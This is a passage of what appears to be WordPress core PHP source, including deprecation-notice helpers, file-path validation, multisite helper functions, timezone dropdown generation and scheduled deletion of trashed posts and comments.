function wp_ob_end_flush_all() {
$levels = ob_get_level();
for ($i=0; $i<$levels; $i++)
ob_end_flush();
}
/**
* Load custom DB error or display WordPress DB error.
*
* If a file exists in the wp-content directory named db-error.php, then it will
* be loaded instead of displaying the WordPress DB error. If it is not found,
* then the WordPress DB error will be displayed instead.
*
* The WordPress DB error sets the HTTP status header to 500 to try to prevent
* search engines from caching the message. Custom DB messages should do the
* same.
*
* This function was backported to WordPress 2.3.2, but originally was added
* in WordPress 2.5.0.
*
* @since 2.3.2
*
* @global wpdb $wpdb WordPress database abstraction object.
*/
function dead_db() {
global $wpdb;
wp_load_translations_early();
// Load custom DB error template, if present.
if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) {
require_once( WP_CONTENT_DIR . '/db-error.php' );
die();
}
// If installing or in the admin, provide the verbose message.
if ( wp_installing() || defined( 'WP_ADMIN' ) )
wp_die($wpdb->error);
// Otherwise, be terse.
status_header( 500 );
nocache_headers();
header( 'Content-Type: text/html; charset=utf-8' );
?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml"<?php if ( is_rtl() ) echo ' dir="rtl"'; ?>>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?php _e( 'Database Error' ); ?></title>
</head>
<body>
<h1><?php _e( 'Error establishing a database connection' ); ?></h1>
</body>
</html>
<?php
die();
}
/**
* Convert a value to non-negative integer.
*
* @since 2.5.0
*
* @param mixed $maybeint Data you wish to have converted to a non-negative integer.
* @return int A non-negative integer.
*/
function absint( $maybeint ) {
return abs( intval( $maybeint ) );
}
/**
* Mark a function as deprecated and inform when it has been used.
*
* There is a {@see 'hook deprecated_function_run'} that will be called that can be used
* to get the backtrace up to what file and function called the deprecated
* function.
*
* The current behavior is to trigger a user error if `WP_DEBUG` is true.
*
* This function is to be used in every function that is deprecated.
*
* @since 2.5.0
* @access private
*
* @param string $function The function that was called.
* @param string $version The version of WordPress that deprecated the function.
* @param string $replacement Optional. The function that should have been called. Default null.
*/
function _deprecated_function( $function, $version, $replacement = null ) {
/**
* Fires when a deprecated function is called.
*
* @since 2.5.0
*
* @param string $function The function that was called.
* @param string $replacement The function that should have been called.
* @param string $version The version of WordPress that deprecated the function.
*/
do_action( 'deprecated_function_run', $function, $replacement, $version );
/**
* Filters whether to trigger an error for deprecated functions.
*
* @since 2.5.0
*
* @param bool $trigger Whether to trigger the error for deprecated functions. Default true.
*/
if ( WP_DEBUG && apply_filters( 'deprecated_function_trigger_error', true ) ) {
if ( function_exists( '__' ) ) {
if ( ! is_null( $replacement ) ) {
/* translators: 1: PHP function name, 2: version number, 3: alternative function name */
trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.'), $function, $version, $replacement ) );
} else {
/* translators: 1: PHP function name, 2: version number */
trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.'), $function, $version ) );
}
} else {
if ( ! is_null( $replacement ) ) {
trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.', $function, $version, $replacement ) );
} else {
trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.', $function, $version ) );
}
}
}
}
/**
* Marks a constructor as deprecated and informs when it has been used.
*
* Similar to _deprecated_function(), but with different strings. Used to
* remove PHP4 style constructors.
*
* The current behavior is to trigger a user error if `WP_DEBUG` is true.
*
* This function is to be used in every PHP4 style constructor method that is deprecated.
*
* @since 4.3.0
* @since 4.5.0 Added the `$parent_class` parameter.
*
* @access private
*
* @param string $class The class containing the deprecated constructor.
* @param string $version The version of WordPress that deprecated the function.
* @param string $parent_class Optional. The parent class calling the deprecated constructor.
* Default empty string.
*/
function _deprecated_constructor( $class, $version, $parent_class = '' ) {
/**
* Fires when a deprecated constructor is called.
*
* @since 4.3.0
* @since 4.5.0 Added the `$parent_class` parameter.
*
* @param string $class The class containing the deprecated constructor.
* @param string $version The version of WordPress that deprecated the function.
* @param string $parent_class The parent class calling the deprecated constructor.
*/
do_action( 'deprecated_constructor_run', $class, $version, $parent_class );
/**
* Filters whether to trigger an error for deprecated functions.
*
* `WP_DEBUG` must be true in addition to the filter evaluating to true.
*
* @since 4.3.0
*
* @param bool $trigger Whether to trigger the error for deprecated functions. Default true.
*/
if ( WP_DEBUG && apply_filters( 'deprecated_constructor_trigger_error', true ) ) {
if ( function_exists( '__' ) ) {
if ( ! empty( $parent_class ) ) {
/* translators: 1: PHP class name, 2: PHP parent class name, 3: version number, 4: __construct() method */
trigger_error( sprintf( __( 'The called constructor method for %1$s in %2$s is <strong>deprecated</strong> since version %3$s! Use %4$s instead.' ),
$class, $parent_class, $version, '<pre>__construct()</pre>' ) );
} else {
/* translators: 1: PHP class name, 2: version number, 3: __construct() method */
trigger_error( sprintf( __( 'The called constructor method for %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ),
$class, $version, '<pre>__construct()</pre>' ) );
}
} else {
if ( ! empty( $parent_class ) ) {
trigger_error( sprintf( 'The called constructor method for %1$s in %2$s is <strong>deprecated</strong> since version %3$s! Use %4$s instead.',
$class, $parent_class, $version, '<pre>__construct()</pre>' ) );
} else {
trigger_error( sprintf( 'The called constructor method for %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.',
$class, $version, '<pre>__construct()</pre>' ) );
}
}
}
}
/**
* Mark a file as deprecated and inform when it has been used.
*
* There is a hook {@see 'deprecated_file_included'} that will be called that can be used
* to get the backtrace up to what file and function included the deprecated
* file.
*
* The current behavior is to trigger a user error if `WP_DEBUG` is true.
*
* This function is to be used in every file that is deprecated.
*
* @since 2.5.0
* @access private
*
* @param string $file The file that was included.
* @param string $version The version of WordPress that deprecated the file.
* @param string $replacement Optional. The file that should have been included based on ABSPATH.
* Default null.
* @param string $message Optional. A message regarding the change. Default empty.
*/
function _deprecated_file( $file, $version, $replacement = null, $message = '' ) {
/**
* Fires when a deprecated file is called.
*
* @since 2.5.0
*
* @param string $file The file that was called.
* @param string $replacement The file that should have been included based on ABSPATH.
* @param string $version The version of WordPress that deprecated the file.
* @param string $message A message regarding the change.
*/
do_action( 'deprecated_file_included', $file, $replacement, $version, $message );
/**
* Filters whether to trigger an error for deprecated files.
*
* @since 2.5.0
*
* @param bool $trigger Whether to trigger the error for deprecated files. Default true.
*/
if ( WP_DEBUG && apply_filters( 'deprecated_file_trigger_error', true ) ) {
$message = empty( $message ) ? '' : ' ' . $message;
if ( function_exists( '__' ) ) {
if ( ! is_null( $replacement ) ) {
/* translators: 1: PHP file name, 2: version number, 3: alternative file name */
trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.'), $file, $version, $replacement ) . $message );
} else {
/* translators: 1: PHP file name, 2: version number */
trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.'), $file, $version ) . $message );
}
} else {
if ( ! is_null( $replacement ) ) {
trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.', $file, $version, $replacement ) . $message );
} else {
trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.', $file, $version ) . $message );
}
}
}
}
/**
* Mark a function argument as deprecated and inform when it has been used.
*
* This function is to be used whenever a deprecated function argument is used.
* Before this function is called, the argument must be checked for whether it was
* used by comparing it to its default value or evaluating whether it is empty.
* For example:
*
* if ( ! empty( $deprecated ) ) {
* _deprecated_argument( __FUNCTION__, '3.0.0' );
* }
*
*
* There is a hook deprecated_argument_run that will be called that can be used
* to get the backtrace up to what file and function used the deprecated
* argument.
*
* The current behavior is to trigger a user error if WP_DEBUG is true.
*
* @since 3.0.0
* @access private
*
* @param string $function The function that was called.
* @param string $version The version of WordPress that deprecated the argument used.
* @param string $message Optional. A message regarding the change. Default null.
*/
function _deprecated_argument( $function, $version, $message = null ) {
/**
* Fires when a deprecated argument is called.
*
* @since 3.0.0
*
* @param string $function The function that was called.
* @param string $message A message regarding the change.
* @param string $version The version of WordPress that deprecated the argument used.
*/
do_action( 'deprecated_argument_run', $function, $message, $version );
/**
* Filters whether to trigger an error for deprecated arguments.
*
* @since 3.0.0
*
* @param bool $trigger Whether to trigger the error for deprecated arguments. Default true.
*/
if ( WP_DEBUG && apply_filters( 'deprecated_argument_trigger_error', true ) ) {
if ( function_exists( '__' ) ) {
if ( ! is_null( $message ) ) {
/* translators: 1: PHP function name, 2: version number, 3: optional message regarding the change */
trigger_error( sprintf( __('%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s'), $function, $version, $message ) );
} else {
/* translators: 1: PHP function name, 2: version number */
trigger_error( sprintf( __('%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available.'), $function, $version ) );
}
} else {
if ( ! is_null( $message ) ) {
trigger_error( sprintf( '%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s', $function, $version, $message ) );
} else {
trigger_error( sprintf( '%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available.', $function, $version ) );
}
}
}
}
/**
* Marks a deprecated action or filter hook as deprecated and throws a notice.
*
* Use the {@see 'deprecated_hook_run'} action to get the backtrace describing where
* the deprecated hook was called.
*
* Default behavior is to trigger a user error if `WP_DEBUG` is true.
*
* This function is called by the do_action_deprecated() and apply_filters_deprecated()
* functions, and so generally does not need to be called directly.
*
* @since 4.6.0
* @access private
*
* @param string $hook The hook that was used.
* @param string $version The version of WordPress that deprecated the hook.
* @param string $replacement Optional. The hook that should have been used.
* @param string $message Optional. A message regarding the change.
*/
function _deprecated_hook( $hook, $version, $replacement = null, $message = null ) {
/**
* Fires when a deprecated hook is called.
*
* @since 4.6.0
*
* @param string $hook The hook that was called.
* @param string $replacement The hook that should be used as a replacement.
* @param string $version The version of WordPress that deprecated the argument used.
* @param string $message A message regarding the change.
*/
do_action( 'deprecated_hook_run', $hook, $replacement, $version, $message );
/**
* Filters whether to trigger deprecated hook errors.
*
* @since 4.6.0
*
* @param bool $trigger Whether to trigger deprecated hook errors. Requires
* `WP_DEBUG` to be defined true.
*/
if ( WP_DEBUG && apply_filters( 'deprecated_hook_trigger_error', true ) ) {
$message = empty( $message ) ? '' : ' ' . $message;
if ( ! is_null( $replacement ) ) {
/* translators: 1: WordPress hook name, 2: version number, 3: alternative hook name */
trigger_error( sprintf( __( '%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ), $hook, $version, $replacement ) . $message );
} else {
/* translators: 1: WordPress hook name, 2: version number */
trigger_error( sprintf( __( '%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.' ), $hook, $version ) . $message );
}
}
}
/**
* Mark something as being incorrectly called.
*
* There is a hook {@see 'doing_it_wrong_run'} that will be called that can be used
* to get the backtrace up to what file and function called the deprecated
* function.
*
* The current behavior is to trigger a user error if `WP_DEBUG` is true.
*
* @since 3.1.0
* @access private
*
* @param string $function The function that was called.
* @param string $message A message explaining what has been done incorrectly.
* @param string $version The version of WordPress where the message was added.
*/
function _doing_it_wrong( $function, $message, $version ) {
/**
* Fires when the given function is being used incorrectly.
*
* @since 3.1.0
*
* @param string $function The function that was called.
* @param string $message A message explaining what has been done incorrectly.
* @param string $version The version of WordPress where the message was added.
*/
do_action( 'doing_it_wrong_run', $function, $message, $version );
/**
* Filters whether to trigger an error for _doing_it_wrong() calls.
*
* @since 3.1.0
*
* @param bool $trigger Whether to trigger the error for _doing_it_wrong() calls. Default true.
*/
if ( WP_DEBUG && apply_filters( 'doing_it_wrong_trigger_error', true ) ) {
if ( function_exists( '__' ) ) {
if ( is_null( $version ) ) {
$version = '';
} else {
/* translators: %s: version number */
$version = sprintf( __( '(This message was added in version %s.)' ), $version );
}
/* translators: %s: Codex URL */
$message .= ' ' . sprintf( __( 'Please see <a href="%s">Debugging in WordPress</a> for more information.' ),
__( 'https://codex.wordpress.org/Debugging_in_WordPress' )
);
/* translators: Developer debugging message. 1: PHP function name, 2: Explanatory message, 3: Version information message */
trigger_error( sprintf( __( '%1$s was called <strong>incorrectly</strong>. %2$s %3$s' ), $function, $message, $version ) );
} else {
if ( is_null( $version ) ) {
$version = '';
} else {
$version = sprintf( '(This message was added in version %s.)', $version );
}
$message .= sprintf( ' Please see <a href="%s">Debugging in WordPress</a> for more information.',
'https://codex.wordpress.org/Debugging_in_WordPress'
);
trigger_error( sprintf( '%1$s was called <strong>incorrectly</strong>. %2$s %3$s', $function, $message, $version ) );
}
}
}
/**
* Is the server running earlier than 1.5.0 version of lighttpd?
*
* @since 2.5.0
*
* @return bool Whether the server is running lighttpd < 1.5.0.
*/
function is_lighttpd_before_150() {
$server_parts = explode( '/', isset( $_SERVER['SERVER_SOFTWARE'] )? $_SERVER['SERVER_SOFTWARE'] : '' );
$server_parts[1] = isset( $server_parts[1] )? $server_parts[1] : '';
return 'lighttpd' == $server_parts[0] && -1 == version_compare( $server_parts[1], '1.5.0' );
}
/**
* Does the specified module exist in the Apache config?
*
* @since 2.5.0
*
* @global bool $is_apache
*
* @param string $mod The module, e.g. mod_rewrite.
* @param bool $default Optional. The default return value if the module is not found. Default false.
* @return bool Whether the specified module is loaded.
*/
function apache_mod_loaded($mod, $default = false) {
global $is_apache;
if ( !$is_apache )
return false;
if ( function_exists( 'apache_get_modules' ) ) {
$mods = apache_get_modules();
if ( in_array($mod, $mods) )
return true;
} elseif ( function_exists( 'phpinfo' ) && false === strpos( ini_get( 'disable_functions' ), 'phpinfo' ) ) {
ob_start();
phpinfo(8);
$phpinfo = ob_get_clean();
if ( false !== strpos($phpinfo, $mod) )
return true;
}
return $default;
}
/**
* Check if IIS 7+ supports pretty permalinks.
*
* @since 2.8.0
*
* @global bool $is_iis7
*
* @return bool Whether IIS7 supports permalinks.
*/
function iis7_supports_permalinks() {
global $is_iis7;
$supports_permalinks = false;
if ( $is_iis7 ) {
/* First we check if the DOMDocument class exists. If it does not exist, then we cannot
* easily update the xml configuration file, hence we just bail out and tell user that
* pretty permalinks cannot be used.
*
* Next we check if the URL Rewrite Module 1.1 is loaded and enabled for the web site. When
* URL Rewrite 1.1 is loaded it always sets a server variable called 'IIS_UrlRewriteModule'.
* Lastly we make sure that PHP is running via FastCGI. This is important because if it runs
* via ISAPI then pretty permalinks will not work.
*/
$supports_permalinks = class_exists( 'DOMDocument', false ) && isset($_SERVER['IIS_UrlRewriteModule']) && ( PHP_SAPI == 'cgi-fcgi' );
}
/**
* Filters whether IIS 7+ supports pretty permalinks.
*
* @since 2.8.0
*
* @param bool $supports_permalinks Whether IIS7 supports permalinks. Default false.
*/
return apply_filters( 'iis7_supports_permalinks', $supports_permalinks );
}
/**
* Validates a file name and path against an allowed set of rules.
*
* A return value of `1` means the file path contains directory traversal.
*
* A return value of `2` means the file path contains a Windows drive path.
*
* A return value of `3` means the file is not in the allowed files list.
*
* @since 1.2.0
*
* @param string $file File path.
* @param array $allowed_files Optional. List of allowed files.
* @return int 0 means nothing is wrong, greater than 0 means something was wrong.
*/
function validate_file( $file, $allowed_files = array() ) {
// Normalize path for Windows servers
$file = wp_normalize_path( $file );
// `../` on its own is not allowed:
if ( '../' === $file ) {
return 1;
}
// More than one occurence of `../` is not allowed:
if ( preg_match_all( '#\.\./#', $file, $matches, PREG_SET_ORDER ) && ( count( $matches ) > 1 ) ) {
return 1;
}
// `../` which does not occur at the end of the path is not allowed:
if ( false !== strpos( $file, '../' ) && '../' !== mb_substr( $file, -3, 3 ) ) {
return 1;
}
// Files not in the allowed file list are not allowed:
if ( ! empty( $allowed_files ) && ! in_array( $file, $allowed_files ) )
return 3;
// Absolute Windows drive paths are not allowed:
if (':' == substr( $file, 1, 1 ) )
return 2;
return 0;
}
/**
* Whether to force SSL used for the Administration Screens.
*
* @since 2.6.0
*
* @staticvar bool $forced
*
* @param string|bool $force Optional. Whether to force SSL in admin screens. Default null.
* @return bool True if forced, false if not forced.
*/
function force_ssl_admin( $force = null ) {
static $forced = false;
if ( !is_null( $force ) ) {
$old_forced = $forced;
$forced = $force;
return $old_forced;
}
return $forced;
}
/**
* Guess the URL for the site.
*
* Will remove wp-admin links to retrieve only return URLs not in the wp-admin
* directory.
*
* @since 2.6.0
*
* @return string The guessed URL.
*/
function wp_guess_url() {
if ( defined('WP_SITEURL') && '' != WP_SITEURL ) {
$url = WP_SITEURL;
} else {
$abspath_fix = str_replace( '\\', '/', ABSPATH );
$script_filename_dir = dirname( $_SERVER['SCRIPT_FILENAME'] );
// The request is for the admin
if ( strpos( $_SERVER['REQUEST_URI'], 'wp-admin' ) !== false || strpos( $_SERVER['REQUEST_URI'], 'wp-login.php' ) !== false ) {
$path = preg_replace( '#/(wp-admin/.*|wp-login.php)#i', '', $_SERVER['REQUEST_URI'] );
// The request is for a file in ABSPATH
} elseif ( $script_filename_dir . '/' == $abspath_fix ) {
// Strip off any file/query params in the path
$path = preg_replace( '#/[^/]*$#i', '', $_SERVER['PHP_SELF'] );
} else {
if ( false !== strpos( $_SERVER['SCRIPT_FILENAME'], $abspath_fix ) ) {
// Request is hitting a file inside ABSPATH
$directory = str_replace( ABSPATH, '', $script_filename_dir );
// Strip off the sub directory, and any file/query params
$path = preg_replace( '#/' . preg_quote( $directory, '#' ) . '/[^/]*$#i', '' , $_SERVER['REQUEST_URI'] );
} elseif ( false !== strpos( $abspath_fix, $script_filename_dir ) ) {
// Request is hitting a file above ABSPATH
$subdirectory = substr( $abspath_fix, strpos( $abspath_fix, $script_filename_dir ) + strlen( $script_filename_dir ) );
// Strip off any file/query params from the path, appending the sub directory to the installation
$path = preg_replace( '#/[^/]*$#i', '' , $_SERVER['REQUEST_URI'] ) . $subdirectory;
} else {
$path = $_SERVER['REQUEST_URI'];
}
}
$schema = is_ssl() ? 'https://' : 'http://'; // set_url_scheme() is not defined yet
$url = $schema . $_SERVER['HTTP_HOST'] . $path;
}
return rtrim($url, '/');
}
/**
* Temporarily suspend cache additions.
*
* Stops more data being added to the cache, but still allows cache retrieval.
* This is useful for actions, such as imports, when a lot of data would otherwise
* be almost uselessly added to the cache.
*
* Suspension lasts for a single page load at most. Remember to call this
* function again if you wish to re-enable cache adds earlier.
*
* @since 3.3.0
*
* @staticvar bool $_suspend
*
* @param bool $suspend Optional. Suspends additions if true, re-enables them if false.
* @return bool The current suspend setting
*/
function wp_suspend_cache_addition( $suspend = null ) {
static $_suspend = false;
if ( is_bool( $suspend ) )
$_suspend = $suspend;
return $_suspend;
}
/**
* Suspend cache invalidation.
*
* Turns cache invalidation on and off. Useful during imports where you don't want to do
* invalidations every time a post is inserted. Callers must be sure that what they are
* doing won't lead to an inconsistent cache when invalidation is suspended.
*
* @since 2.7.0
*
* @global bool $_wp_suspend_cache_invalidation
*
* @param bool $suspend Optional. Whether to suspend or enable cache invalidation. Default true.
* @return bool The current suspend setting.
*/
function wp_suspend_cache_invalidation( $suspend = true ) {
global $_wp_suspend_cache_invalidation;
$current_suspend = $_wp_suspend_cache_invalidation;
$_wp_suspend_cache_invalidation = $suspend;
return $current_suspend;
}
/**
* Determine whether a site is the main site of the current network.
*
* @since 3.0.0
* @since 4.9.0 The $network_id parameter has been added.
*
* @param int $site_id Optional. Site ID to test. Defaults to current site.
* @param int $network_id Optional. Network ID of the network to check for.
* Defaults to current network.
* @return bool True if $site_id is the main site of the network, or if not
* running Multisite.
*/
function is_main_site( $site_id = null, $network_id = null ) {
if ( ! is_multisite() ) {
return true;
}
if ( ! $site_id ) {
$site_id = get_current_blog_id();
}
$site_id = (int) $site_id;
return $site_id === get_main_site_id( $network_id );
}
/**
* Gets the main site ID.
*
* @since 4.9.0
*
* @param int $network_id Optional. The ID of the network for which to get the main site.
* Defaults to the current network.
* @return int The ID of the main site.
*/
function get_main_site_id( $network_id = null ) {
if ( ! is_multisite() ) {
return get_current_blog_id();
}
$network = get_network( $network_id );
if ( ! $network ) {
return 0;
}
return $network->site_id;
}
/**
* Determine whether a network is the main network of the Multisite installation.
*
* @since 3.7.0
*
* @param int $network_id Optional. Network ID to test. Defaults to current network.
* @return bool True if $network_id is the main network, or if not running Multisite.
*/
function is_main_network( $network_id = null ) {
if ( ! is_multisite() ) {
return true;
}
if ( null === $network_id ) {
$network_id = get_current_network_id();
}
$network_id = (int) $network_id;
return ( $network_id === get_main_network_id() );
}
/**
* Get the main network ID.
*
* @since 4.3.0
*
* @return int The ID of the main network.
*/
function get_main_network_id() {
if ( ! is_multisite() ) {
return 1;
}
$current_network = get_network();
if ( defined( 'PRIMARY_NETWORK_ID' ) ) {
$main_network_id = PRIMARY_NETWORK_ID;
} elseif ( isset( $current_network->id ) && 1 === (int) $current_network->id ) {
// If the current network has an ID of 1, assume it is the main network.
$main_network_id = 1;
} else {
$_networks = get_networks( array( 'fields' => 'ids', 'number' => 1 ) );
$main_network_id = array_shift( $_networks );
}
/**
* Filters the main network ID.
*
* @since 4.3.0
*
* @param int $main_network_id The ID of the main network.
*/
return (int) apply_filters( 'get_main_network_id', $main_network_id );
}
/**
* Determine whether global terms are enabled.
*
* @since 3.0.0
*
* @staticvar bool $global_terms
*
* @return bool True if multisite and global terms enabled.
*/
function global_terms_enabled() {
if ( ! is_multisite() )
return false;
static $global_terms = null;
if ( is_null( $global_terms ) ) {
/**
* Filters whether global terms are enabled.
*
* Passing a non-null value to the filter will effectively short-circuit the function,
* returning the value of the 'global_terms_enabled' site option instead.
*
* @since 3.0.0
*
* @param null $enabled Whether global terms are enabled.
*/
$filter = apply_filters( 'global_terms_enabled', null );
if ( ! is_null( $filter ) )
$global_terms = (bool) $filter;
else
$global_terms = (bool) get_site_option( 'global_terms_enabled', false );
}
return $global_terms;
}
/**
* gmt_offset modification for smart timezone handling.
*
* Overrides the gmt_offset option if we have a timezone_string available.
*
* @since 2.8.0
*
* @return float|false Timezone GMT offset, false otherwise.
*/
function wp_timezone_override_offset() {
if ( !$timezone_string = get_option( 'timezone_string' ) ) {
return false;
}
$timezone_object = timezone_open( $timezone_string );
$datetime_object = date_create();
if ( false === $timezone_object || false === $datetime_object ) {
return false;
}
return round( timezone_offset_get( $timezone_object, $datetime_object ) / HOUR_IN_SECONDS, 2 );
}
/**
* Sort-helper for timezones.
*
* @since 2.9.0
* @access private
*
* @param array $a
* @param array $b
* @return int
*/
function _wp_timezone_choice_usort_callback( $a, $b ) {
// Don't use translated versions of Etc
if ( 'Etc' === $a['continent'] && 'Etc' === $b['continent'] ) {
// Make the order of these more like the old dropdown
if ( 'GMT+' === substr( $a['city'], 0, 4 ) && 'GMT+' === substr( $b['city'], 0, 4 ) ) {
return -1 * ( strnatcasecmp( $a['city'], $b['city'] ) );
}
if ( 'UTC' === $a['city'] ) {
if ( 'GMT+' === substr( $b['city'], 0, 4 ) ) {
return 1;
}
return -1;
}
if ( 'UTC' === $b['city'] ) {
if ( 'GMT+' === substr( $a['city'], 0, 4 ) ) {
return -1;
}
return 1;
}
return strnatcasecmp( $a['city'], $b['city'] );
}
if ( $a['t_continent'] == $b['t_continent'] ) {
if ( $a['t_city'] == $b['t_city'] ) {
return strnatcasecmp( $a['t_subcity'], $b['t_subcity'] );
}
return strnatcasecmp( $a['t_city'], $b['t_city'] );
} else {
// Force Etc to the bottom of the list
if ( 'Etc' === $a['continent'] ) {
return 1;
}
if ( 'Etc' === $b['continent'] ) {
return -1;
}
return strnatcasecmp( $a['t_continent'], $b['t_continent'] );
}
}
/**
* Gives a nicely-formatted list of timezone strings.
*
* @since 2.9.0
* @since 4.7.0 Added the `$locale` parameter.
*
* @staticvar bool $mo_loaded
* @staticvar string $locale_loaded
*
* @param string $selected_zone Selected timezone.
* @param string $locale Optional. Locale to load the timezones in. Default current site locale.
* @return string
*/
function wp_timezone_choice( $selected_zone, $locale = null ) {
static $mo_loaded = false, $locale_loaded = null;
$continents = array( 'Africa', 'America', 'Antarctica', 'Arctic', 'Asia', 'Atlantic', 'Australia', 'Europe', 'Indian', 'Pacific');
// Load translations for continents and cities.
if ( ! $mo_loaded || $locale !== $locale_loaded ) {
$locale_loaded = $locale ? $locale : get_locale();
$mofile = WP_LANG_DIR . '/continents-cities-' . $locale_loaded . '.mo';
unload_textdomain( 'continents-cities' );
load_textdomain( 'continents-cities', $mofile );
$mo_loaded = true;
}
$zonen = array();
foreach ( timezone_identifiers_list() as $zone ) {
$zone = explode( '/', $zone );
if ( !in_array( $zone[0], $continents ) ) {
continue;
}
// This determines what gets set and translated - we don't translate Etc/* strings here, they are done later
$exists = array(
0 => ( isset( $zone[0] ) && $zone[0] ),
1 => ( isset( $zone[1] ) && $zone[1] ),
2 => ( isset( $zone[2] ) && $zone[2] ),
);
$exists[3] = ( $exists[0] && 'Etc' !== $zone[0] );
$exists[4] = ( $exists[1] && $exists[3] );
$exists[5] = ( $exists[2] && $exists[3] );
$zonen[] = array(
'continent' => ( $exists[0] ? $zone[0] : '' ),
'city' => ( $exists[1] ? $zone[1] : '' ),
'subcity' => ( $exists[2] ? $zone[2] : '' ),
't_continent' => ( $exists[3] ? translate( str_replace( '_', ' ', $zone[0] ), 'continents-cities' ) : '' ),
't_city' => ( $exists[4] ? translate( str_replace( '_', ' ', $zone[1] ), 'continents-cities' ) : '' ),
't_subcity' => ( $exists[5] ? translate( str_replace( '_', ' ', $zone[2] ), 'continents-cities' ) : '' )
);
}
usort( $zonen, '_wp_timezone_choice_usort_callback' );
$structure = array();
if ( empty( $selected_zone ) ) {
$structure[] = '<option selected="selected" value="">' . __( 'Select a city' ) . '</option>';
}
foreach ( $zonen as $key => $zone ) {
// Build value in an array to join later
$value = array( $zone['continent'] );
if ( empty( $zone['city'] ) ) {
// It's at the continent level (generally won't happen)
$display = $zone['t_continent'];
} else {
// It's inside a continent group
// Continent optgroup
if ( !isset( $zonen[$key - 1] ) || $zonen[$key - 1]['continent'] !== $zone['continent'] ) {
$label = $zone['t_continent'];
$structure[] = '<optgroup label="'. esc_attr( $label ) .'">';
}
// Add the city to the value
$value[] = $zone['city'];
$display = $zone['t_city'];
if ( !empty( $zone['subcity'] ) ) {
// Add the subcity to the value
$value[] = $zone['subcity'];
$display .= ' - ' . $zone['t_subcity'];
}
}
// Build the value
$value = join( '/', $value );
$selected = '';
if ( $value === $selected_zone ) {
$selected = 'selected="selected" ';
}
$structure[] = '<option ' . $selected . 'value="' . esc_attr( $value ) . '">' . esc_html( $display ) . "</option>";
// Close continent optgroup
if ( !empty( $zone['city'] ) && ( !isset($zonen[$key + 1]) || (isset( $zonen[$key + 1] ) && $zonen[$key + 1]['continent'] !== $zone['continent']) ) ) {
$structure[] = '</optgroup>';
}
}
// Do UTC
$structure[] = '<optgroup label="'. esc_attr__( 'UTC' ) .'">';
$selected = '';
if ( 'UTC' === $selected_zone )
$selected = 'selected="selected" ';
$structure[] = '<option ' . $selected . 'value="' . esc_attr( 'UTC' ) . '">' . __('UTC') . '</option>';
$structure[] = '</optgroup>';
// Do manual UTC offsets
$structure[] = '<optgroup label="'. esc_attr__( 'Manual Offsets' ) .'">';
$offset_range = array (-12, -11.5, -11, -10.5, -10, -9.5, -9, -8.5, -8, -7.5, -7, -6.5, -6, -5.5, -5, -4.5, -4, -3.5, -3, -2.5, -2, -1.5, -1, -0.5,
0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 5.75, 6, 6.5, 7, 7.5, 8, 8.5, 8.75, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.75, 13, 13.75, 14);
foreach ( $offset_range as $offset ) {
if ( 0 <= $offset )
$offset_name = '+' . $offset;
else
$offset_name = (string) $offset;
$offset_value = $offset_name;
$offset_name = str_replace(array('.25','.5','.75'), array(':15',':30',':45'), $offset_name);
$offset_name = 'UTC' . $offset_name;
$offset_value = 'UTC' . $offset_value;
$selected = '';
if ( $offset_value === $selected_zone )
$selected = 'selected="selected" ';
$structure[] = '<option ' . $selected . 'value="' . esc_attr( $offset_value ) . '">' . esc_html( $offset_name ) . "</option>";
}
$structure[] = '</optgroup>';
return join( "\n", $structure );
}
/**
* Strip close comment and close php tags from file headers used by WP.
*
* @since 2.8.0
* @access private
*
* @see https://core.trac.wordpress.org/ticket/8497
*
* @param string $str Header comment to clean up.
* @return string
*/
function _cleanup_header_comment( $str ) {
return trim(preg_replace("/\s*(?:\*\/|\?>).*/", '', $str));
}
/**
* Permanently delete comments or posts of any type that have held a status
* of 'trash' for the number of days defined in EMPTY_TRASH_DAYS.
*
* The default value of `EMPTY_TRASH_DAYS` is 30 (days).
*
* @since 2.9.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*/
function wp_scheduled_delete() {
global $wpdb;
$delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS );
$posts_to_delete = $wpdb->get_results($wpdb->prepare("SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp), ARRAY_A);
foreach ( (array) $posts_to_delete as $post ) {
$post_id = (int) $post['post_id'];
if ( !$post_id )
continue;
$del_post = get_post($post_id);
if ( !$del_post || 'trash' != $del_post->post_status ) {
delete_post_meta($post_id, '_wp_trash_meta_status');
delete_post_meta($post_id, '_wp_trash_meta_time');
} else {
wp_delete_post($post_id);
}
}
$comments_to_delete = $wpdb->get_results($wpdb->prepare("SELECT comment_id FROM $wpdb->commentmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp), ARRAY_A);
foreach ( (array) $comments_to_delete as $comment ) {
$comment_id = (int) $comment['comment_id'];
if ( !$comment_id )
continue;
$del_comment = get_comment($comment_id);
if ( !$del_comment || 'trash' != $del_comment->comment_approved ) {
delete_comment_meta($comment_id, '_wp_trash_meta_time');
delete_comment_meta($comment_id, '_wp_trash_meta_status');
} else {
wp_delete_comment( $del_comment );
}
}
}
/**
